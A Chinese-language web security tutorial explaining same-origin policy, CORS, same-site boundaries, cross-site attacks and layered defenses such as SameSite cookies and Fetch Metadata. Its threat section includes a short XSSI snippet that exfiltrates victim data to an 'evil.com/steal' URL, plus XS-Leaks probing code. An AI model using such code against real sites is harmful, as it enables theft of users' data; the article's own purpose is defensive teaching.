HTTP 跨站与跨域:从同源策略到现代安全边界

Web 安全里有两个极容易混淆的概念:跨域跨站。它们听起来相似,边界却截然不同,对应的攻击手段和防御方案也完全不同。

本文从浏览器的同源策略(SOP,Same-Origin Policy)出发,系统梳理跨域的 CORS(Cross-Origin Resource Sharing,跨域资源共享)机制、跨站的安全威胁、以及现代浏览器的纵深防御体系。


一、一切的起点:同源策略

1.1 Origin 的精确定义

"源"(Origin)由三个要素严格组成:

复制代码
Origin = Scheme(协议) + Host(主机) + Port(端口)

https://api.example.com:8443/v1/users?page=1
│       │               │    └─────── 不属于 Origin
│       │               └─────────── Port
│       └─────────────────────────── Host
└─────────────────────────────────── Scheme

三者必须完全一致才算同源,路径、Query、Fragment 均不参与判断。

https://www.example.com:443 为基准:

对比 URL 结论 原因
https://www.example.com:443/api ✅ 同源 路径不参与判断
http://www.example.com:443 ❌ 跨域 Scheme 不同
https://api.example.com:443 ❌ 跨域 Host 不同(子域名不同)
https://www.example.com:8080 ❌ 跨域 Port 不同
https://example.com:443 ❌ 跨域 Host 不同(缺少 www)

1.2 同源策略管的是"读",不是"发"

理解同源策略的关键是建立一个直觉:

复制代码
┌─────────────────────────────────────┐
│         渲染层(浏览器自己用)         │  ← 显示图片、应用样式、执行脚本
├─────────────────────────────────────┤
│         JS 层(你的代码能碰的)        │  ← 读数据、改 DOM、拿响应内容
└─────────────────────────────────────┘

同源策略管的是第二层,不是第一层。 浏览器可以"用"跨域的东西,但你的 JS 代码不能"读"跨域的东西。

1.3 各类资源的限制边界

行为 是否受限 限制位置
<img src> 加载图片 部分受限 可显示,Canvas 读取像素时抛异常
<script src> 加载脚本 部分受限 可执行,但脚本归属于当前页面源
<link href> 加载 CSS(层叠样式表) 部分受限 可渲染,JS 读取 CSSOM(CSS 对象模型)规则时报错
<form> 表单提交 ❌ 不受限 历史遗留,CSRF(Cross-Site Request Forgery,跨站请求伪造)的根源
XMLHttpRequest / fetch ✅ 受限 响应被浏览器拦截,JS 看不到内容
Cookie / localStorage ✅ 受限 浏览器底层隔离,无法绕过
DOM 访问 ✅ 受限 跨域 iframe 的 contentDocument 返回 null

<form> 是这个模型的历史漏洞------它的危害不在于"读",而在于"写"(副作用)。请求发出去本身就是目的,这正是 CSRF 能奏效的原因。


二、跨域与 CORS 机制

2.1 CORS 请求分类

CORS 将跨域请求分为两类,处理流程完全不同:


无 CORS 头
返回 CORS 响应头
匹配当前 Origin
不匹配或缺失
发起跨域请求
是否为简单请求?
直接发送请求

附带 Origin 头
先发送 OPTIONS 预检请求
服务器返回响应
服务器是否允许?
预检失败

浏览器阻断实际请求
预检通过
发送实际请求
响应含 Access-Control-Allow-Origin?
✅ JS 可读取响应
❌ 浏览器丢弃响应

2.2 简单请求

满足以下全部条件才是简单请求:

  • Method 仅限:GETPOSTHEAD
  • Content-Type 仅限:text/plainmultipart/form-dataapplication/x-www-form-urlencoded
  • 没有自定义请求头(如 AuthorizationX-Token 等)

服务器(api.com) 浏览器(app.com) 服务器(api.com) 浏览器(app.com) 检查 ACAO 头匹配 允许 JS 读取响应 GET /data Origin: https://app.com 200 OK Access-Control-Allow-Origin: https://app.com

关键理解 :简单请求会真实到达服务器并执行,CORS 只是决定浏览器是否将响应暴露给 JS。副作用(如数据库写入)已经发生。

2.3 预检请求(Preflight Request)

不满足简单请求条件时,浏览器会先自动发一个 OPTIONS 请求:
服务器(api.com) 浏览器(app.com) 服务器(api.com) 浏览器(app.com) 即将发送带有 Authorization 头的 POST 实际请求被阻断 alt [服务器拒绝] [服务器允许] OPTIONS /api/transfer Origin: https://app.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization 403 Forbidden 204 No Content Access-Control-Allow-Origin: https://app.com Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Authorization Access-Control-Max-Age: 7200 POST /api/transfer Origin: https://app.com Authorization: Bearer token 200 OK Access-Control-Allow-Origin: https://app.com

2.4 预检缓存:不是每次都发两次

Access-Control-Max-Age 控制预检结果的缓存时长,缓存命中时直接跳过预检:

复制代码
第一次请求:OPTIONS 预检 + 实际请求(两次)
缓存期内:直接发实际请求(一次)
缓存失效后:重新预检

缓存按请求特征区分,以下变化会导致重新预检:

变化项 是否重新预检
URL 路径变了 ✅ 是
请求方法变了 ✅ 是
请求头增减了 ✅ 是
只是请求体内容变了 ❌ 否
只是 Query 参数变了 ❌ 否

浏览器对 Max-Age 有上限限制:

浏览器 最大缓存时长
Chrome 7200 秒(2 小时)
Firefox 86400 秒(24 小时)
Safari 600 秒(10 分钟)

2.5 CORS 响应头全解

响应头 含义
Access-Control-Allow-Origin 允许的来源,* 表示任意
Access-Control-Allow-Methods 允许的 HTTP 方法
Access-Control-Allow-Headers 允许的自定义请求头
Access-Control-Allow-Credentials 是否允许携带 Cookie
Access-Control-Expose-Headers 允许 JS 读取的额外响应头
Access-Control-Max-Age 预检结果的缓存时长(秒)

⚠️ Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true 不能同时使用。携带 Cookie 时必须明确指定来源。


三、跨站:比跨域更宽松的边界

3.1 Site 的定义:eTLD+1

跨域精确到端口级别,跨站用的是更宽松的 eTLD+1(effective Top-Level Domain + 1,有效顶级域名加一级):

复制代码
eTLD+1 = 公共后缀(eTLD) + 紧邻的上一级域名
URL eTLD eTLD+1(Site)
https://www.example.com .com example.com
https://api.example.com .com example.com
https://user.github.io .github.io user.github.io
https://evil.github.io .github.io evil.github.io

github.io 是公共后缀,每个用户的 GitHub Pages 站点相互独立,彼此跨站。

现代浏览器(Chrome 86+)还引入了 Schemeful Same-Site ,协议不同也算跨站:https://example.comhttp://example.com 在新定义下是跨站。

3.2 跨域 vs 跨站:核心区别

复制代码
同源(Same-Origin) ⊂ 同站(Same-Site)

┌─────────────────────────────────────────┐
│              Same-Site                  │
│      Scheme + eTLD+1 相同               │
│                                         │
│   ┌─────────────────────────────────┐   │
│   │          Same-Origin            │   │
│   │   Scheme + Host + Port 全同     │   │
│   └─────────────────────────────────┘   │
│                                         │
│  https://www.example.com                │
│  https://api.example.com  ← 跨域但同站  │
└─────────────────────────────────────────┘

https://evil.com  ←  跨站(同时也是跨域)
概念 判断依据 颗粒度
同源(Same-Origin) Scheme + Host + Port 全部相同 最细
同站(Same-Site) Scheme + eTLD+1 相同 较粗

实际意义https://www.example.comhttps://api.example.com 发请求------这是跨域 (CORS 会介入),但同站(SameSite Cookie 不会拦截)。


四、跨站安全威胁全景

4.1 CSRF(Cross-Site Request Forgery,跨站请求伪造)

利用浏览器跨站自动携带 Cookie 的特性,伪造用户请求:
evil.com bank.com 受害者用户 evil.com bank.com 受害者用户 Cookie 合法,执行转账 登录 Set-Cookie: session=abc123 访问恶意页面 返回含自动提交表单的页面 POST /transfer(自动携带 Cookie) 转账成功(用户毫不知情)

4.2 Clickjacking(点击劫持)

用透明 iframe 覆盖目标页面,诱骗用户点击:

复制代码
攻击者页面(evil.com)
┌──────────────────────────────────┐
│   "点击领取奖品!" [按钮]         │  ← 用户看到的
│                                  │
│  ┌────────────────────────────┐  │
│  │  bank.com(透明 iframe)   │  │  ← opacity: 0,用户看不到
│  │  [确认转账 ¥10000]         │  │  ← 用户实际点击的位置
│  └────────────────────────────┘  │
└──────────────────────────────────┘

4.3 XS-Leaks(Cross-Site Leaks,跨站信息侧信道泄露)

不读取任何响应内容,只靠浏览器的"行为差异"推断跨站信息:

① 错误事件推断资源是否存在

javascript 复制代码
const img = new Image();
img.src = 'https://company.com/secret-report.pdf';
img.onload  = () => console.log('文件存在,此人有权限');
img.onerror = () => console.log('文件不存在或无权限');

② 响应时间推断登录状态

javascript 复制代码
const start = performance.now();
fetch('https://target.com/api/profile', { mode: 'no-cors' }).then(() => {
    const elapsed = performance.now() - start;
    // 登录用户查数据库耗时 ~200ms,未登录直接重定向 ~20ms
    // 时间差暴露了登录状态
});

4.4 XSSI(Cross-Site Script Inclusion,跨站脚本包含)

早期 JSONP(JSON with Padding)接口的数据可被 <script src> 直接执行窃取:

html 复制代码
<!-- evil.com 的页面 -->
<script>
  function callback(data) {
      // 银行数据直接拿到了
      fetch('https://evil.com/steal?d=' + JSON.stringify(data));
  }
</script>
<script src="https://bank.com/api/userinfo?callback=callback"></script>

4.5 Referrer(引用来源)信息泄露

从含敏感参数的页面跳转到第三方时,URL 被自动携带:

复制代码
用户从 https://app.com/reset?token=abc123 点击外链
→ 第三方请求头:Referer: https://app.com/reset?token=abc123
→ 密码重置 token 就此泄露

4.6 跨站威胁全景汇总

威胁类型 核心手段 是否需要读取响应
CSRF 伪造请求,利用 Cookie 自动携带
Clickjacking 透明 iframe 覆盖
XS-Leaks 行为差异侧信道
XSSI <script> 执行 JSONP 数据
Referrer 泄露 跳转时携带完整 URL
第三方脚本污染 受信域引入恶意脚本 ✅ 完全读取

五、防御方案

5.1 SameSite Cookie:浏览器层面防 CSRF

Strict
Lax 默认值
None
顶层导航 + GET
POST 子资源 fetch XHR
跨站请求到来
SameSite 策略?
❌ 任何跨站场景均不携带 Cookie
请求类型?
✅ 所有跨站场景均携带

必须同时设置 Secure
✅ 携带 Cookie
❌ 不携带 Cookie

SameSite 值 跨站 POST 顶层导航 GET 防护强度
Strict 最强,但影响体验
Lax(现代浏览器默认) 适中,推荐
None 无防护,需配合 Secure

Chrome 80(2020 年)起,未设置 SameSite 的 Cookie 默认等同于 Lax,大幅提升了 Web 的安全基线。

5.2 Fetch Metadata(获取元数据):服务端主动防御

现代浏览器自动在请求中附加 Sec-Fetch-* 系列头,服务端可据此主动拒绝可疑请求:

四个请求头:

请求头 含义 典型值
Sec-Fetch-Site 来源与目标的站点关系 same-origin / same-site / cross-site / none
Sec-Fetch-Mode 请求发起方式 navigate / cors / no-cors / same-origin
Sec-Fetch-Dest 目标资源类型 document / image / script / empty
Sec-Fetch-User 是否用户主动触发 ?1(是)/ 不存在(否)

Sec- 前缀的头是浏览器保留字段,JS 代码无法伪造,fetchXMLHttpRequest 设置它们会被静默忽略。

执行流程:
服务器(app.com) 浏览器 服务器(app.com) 浏览器 分析请求上下文 来源 evil.com → 目标 app.com/api cross-site + Dest:empty = 跨站 API 请求,非法 POST /api/transfer Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty 403 Forbidden

资源隔离策略(Resource Isolation Policy)实现(Node.js):

javascript 复制代码
function resourceIsolationPolicy(req, res, next) {
    const fetchSite = req.headers['sec-fetch-site'];
    const fetchMode = req.headers['sec-fetch-mode'];
    const fetchDest = req.headers['sec-fetch-dest'];

    // 老浏览器无此头,放行(可单独加其他防御)
    if (!fetchSite) return next();

    // 同源、同站、直接访问:放行
    if (['same-origin', 'same-site', 'none'].includes(fetchSite)) return next();

    // 跨站只允许顶层页面导航(用户点链接跳过来)
    if (fetchMode === 'navigate' && fetchDest === 'document') return next();

    // 其余跨站请求全部拒绝
    return res.status(403).json({ error: 'cross-site request rejected' });
}

app.use('/api', resourceIsolationPolicy);

5.3 反向代理:从根本上消灭跨域

反向代理的本质是让浏览器始终认为自己在和同源服务器通信:

复制代码
无反向代理:
浏览器(app.com)──► api.com        ← 浏览器检测到跨域,触发 CORS

有反向代理:
浏览器(app.com)──► app.com/api ──► api.com(Nginx 转发)
                     ↑
                     浏览器只看到同源请求,CORS 从未触发

Nginx(高性能 Web 服务器)核心配置:

nginx 复制代码
server {
    listen 443 ssl;
    server_name app.com;

    # 前端静态资源
    location / {
        root /usr/share/nginx/html;
        try_files $uri $uri/ /index.html;
    }

    # API 请求转发给后端
    location /api/ {
        proxy_pass http://api.com/;   # 末尾斜杠:去除 /api 前缀

        proxy_set_header Host              api.com;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_connect_timeout  10s;
        proxy_read_timeout     60s;
    }
}

路径映射关系:

复制代码
浏览器请求:app.com/api/users
Nginx 转发:api.com/users        ← /api 前缀被去除

开发环境 Vite 等效配置:

javascript 复制代码
// vite.config.js
export default {
    server: {
        proxy: {
            '/api': {
                target: 'http://localhost:8080',
                changeOrigin: true,
                rewrite: (path) => path.replace(/^\/api/, '')
            }
        }
    }
}

5.4 其他防御手段

威胁 防御方案 关键配置
Clickjacking 禁止被 iframe 嵌入 X-Frame-Options: DENYCSP(Content Security Policy,内容安全策略): frame-ancestors 'none'
Referrer 泄露 限制 Referrer 内容 Referrer-Policy: strict-origin-when-cross-origin
XSSI 弃用 JSONP,响应体加前缀 响应首行加 )]}'\n
第三方脚本污染 限制脚本来源 + 完整性校验 CSP script-src + SRI(Subresource Integrity,子资源完整性)
XS-Leaks 跨源隔离策略 COOP(Cross-Origin Opener Policy,跨源打开者策略) + CORP(Cross-Origin Resource Policy,跨源资源策略)

六、方案选型与纵深防御

6.1 跨域解决方案选型

场景 推荐方案 原因
前后端同属自己的服务 反向代理 干净彻底,无需改业务代码
对外提供开放 API CORS 第三方无法在你这加代理
开发环境本地调试 Vite/webpack proxy 本地版反向代理,配几行搞定
需要携带 Cookie 跨域 CORS(配置 credentials) 代理解决跨域,但 Cookie Domain 隔离是另一回事

一句话选型原则:能控制请求路径的用代理,控制不了的用 CORS。

6.2 纵深防御分层模型

复制代码
┌───────────────────────────────────────────────────────┐
│  第一层:浏览器默认行为                                 │
│  SameSite=Lax(Chrome 80+ 默认)                       │
│  → 拦截绝大多数跨站 Cookie 携带场景                     │
├───────────────────────────────────────────────────────┤
│  第二层:服务端主动防御                                 │
│  Fetch Metadata 资源隔离策略                           │
│  → 不依赖 Token,直接拒绝可疑跨站请求                   │
├───────────────────────────────────────────────────────┤
│  第三层:业务层兜底                                     │
│  CSRF Token(跨站请求伪造令牌)                         │
│  → 覆盖老浏览器和复杂场景,针对关键写操作单独加          │
├───────────────────────────────────────────────────────┤
│  第四层:传输与资源隔离                                 │
│  CSP + SRI + X-Frame-Options + Referrer-Policy        │
│  → 防 Clickjacking、脚本污染、信息泄露                  │
└───────────────────────────────────────────────────────┘

三种核心防御方案的横向对比:

维度 Fetch Metadata SameSite Cookie CSRF Token
防御位置 服务端主动判断 浏览器控制 Cookie 携带 服务端校验 Token
实现成本 低,一个中间件 低,设置 Cookie 属性 中,前后端均需改动
能否防 CSRF
能否防 XS-Leaks ✅ 部分场景
能否被 JS 伪造 ❌ 浏览器保留头 --- ⚠️ XSS 后可被窃取
老浏览器兼容性 需额外兜底 降级为无保护 完全兼容

七、总结

复制代码
同源策略(SOP)
    ↓ 管的是"读",不是"发"
    ↓ 渲染层放行,JS 层严格隔离

跨域(Cross-Origin)= Scheme + Host + Port 任一不同
    ↓ 浏览器自动附加 Origin 头
    ↓ 服务端通过 CORS 头声明权限
    ↓ 预检缓存(Max-Age)减少性能损耗
    ↓ 反向代理从根本上消灭跨域

跨站(Cross-Site)= Scheme 或 eTLD+1 不同(粒度更粗)
    ↓ 跨域不一定跨站(api.example.com vs www.example.com)
    ↓ 跨站一定跨域

跨站威胁
    ↓ CSRF:利用 Cookie 自动携带
    ↓ Clickjacking:透明 iframe 覆盖
    ↓ XS-Leaks:行为差异侧信道
    ↓ XSSI:JSONP 数据直接执行

纵深防御
    ↓ SameSite Cookie → 浏览器层拦截
    ↓ Fetch Metadata  → 服务端层拦截
    ↓ CSRF Token      → 业务层兜底
    ↓ CSP + SRI + X-Frame-Options → 传输层兜底

核心记忆口诀:

  • 跨域看三件事:Scheme、Host、Port,全同才同源
  • 跨站看两件事:Scheme、eTLD+1,宽松很多
  • CORS 是跨域的通行证,由服务端颁发,浏览器执行
  • SameSite 是跨站的门卫,由 Cookie 属性控制,浏览器执行
  • Fetch Metadata 是服务端的侦察兵,浏览器提供情报,服务端决策
  • 防御不靠单点,靠分层------每一层都可能被绕过,但绕过所有层的代价极高
相关推荐
其实防守也摸鱼11 小时前
软件安全与漏洞--软件安全测试
网络·软件测试·安全·web安全·安全性测试·软件安全·软件安全测试
alwaysrun11 小时前
C++之轻量极速Web框架Crow
c++·websocket·http
时夜_Ryan12 小时前
JumpServer堡垒机:一键部署运维安全审计
linux·运维·服务器·网络·安全·centos
weixin_4462608512 小时前
LCGuard:面向多智能体系统安全的键值共享隐层通信防护机制
人工智能·安全·系统安全
wb0430720112 小时前
从 Java 1 到 Java 26 的HTTP Client发展历程
java·开发语言·http
源远流长jerry12 小时前
LVS 与 Nginx 负载均衡:从原理到生产实战
运维·网络·网络协议·tcp/ip·nginx·负载均衡·lvs
小饼干在学嘎瓦12 小时前
HTTP和RPC有什么区别?好奇怪的问题!
网络协议·http·rpc
阿部多瑞 ABU12 小时前
AI红队诱导实战:小说法7步突破安全对齐 + 火绒误报深度解析
人工智能·安全·火绒安全
仍然.12 小时前
网络层IP协议
服务器·网络协议·tcp/ip